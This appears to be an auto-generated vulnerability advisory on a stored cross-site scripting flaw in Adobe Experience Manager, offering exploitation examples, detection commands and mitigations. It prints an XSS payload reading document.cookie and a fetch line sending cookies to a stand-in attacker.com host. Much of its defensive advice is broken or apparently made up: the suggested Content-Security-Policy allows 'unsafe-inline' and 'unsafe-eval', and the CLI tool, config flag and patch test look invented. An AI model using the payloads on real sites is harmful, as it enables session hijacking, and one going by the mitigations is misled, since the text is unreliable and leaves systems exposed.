Adobe Experience Manager, Stored Cross-Site Scripting (XSS), CVE-2025-46865 (Critical)

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How CVE-2025-46865 Works

Adobe Experience Manager (AEM) versions 6.5.22 and earlier fail to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript. When a victim accesses a compromised page, the script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions. The vulnerability stems from insufficient input validation in the WCM (Web Content Management) component, where payloads persist in the database and render dynamically. Attackers exploit this by submitting crafted requests containing script tags or event handlers (e.g., `` or onerror=alert(1)), which are then stored and executed upon page load.

DailyCVE Form

Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025

Prediction: Patch expected by 07/15/2025

What Undercode Say:

Exploitation Analysis

1. Payload Injection:

<img src=x onerror=alert(document.cookie)>

2. Exfiltration:

fetch('https://attacker.com/steal?data=' + btoa(document.cookie));

Protection Measures

1. Input Sanitization:

// AEM Filter Example
String sanitizedInput = ESAPI.encoder().encodeForHTML(userInput);

2. CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

Detection Commands

1. CURL Test:

curl -X POST -d "field=<script>alert(1)</script>" https://aem-instance/content/form.html

2. Log Analysis:

grep -r "onerror|<script>" /var/log/aem/error.log

Patch Verification

1. Version Check:

aemcli --version | grep "6.5.23"

2. Post-Patch Test:

// Confirm sanitization
console.log(document.getElementById('field').innerHTML.includes('<'));

Mitigation Workaround

1. Disable WCM:

<!-- /apps/settings/config.xml -->
<disableWCM>true</disableWCM>

2. Regex Filter:

Pattern.compile("[<>\"']").matcher(input).replaceAll("");

References

– Adobe Security Bulletin
– OWASP XSS Cheat Sheet

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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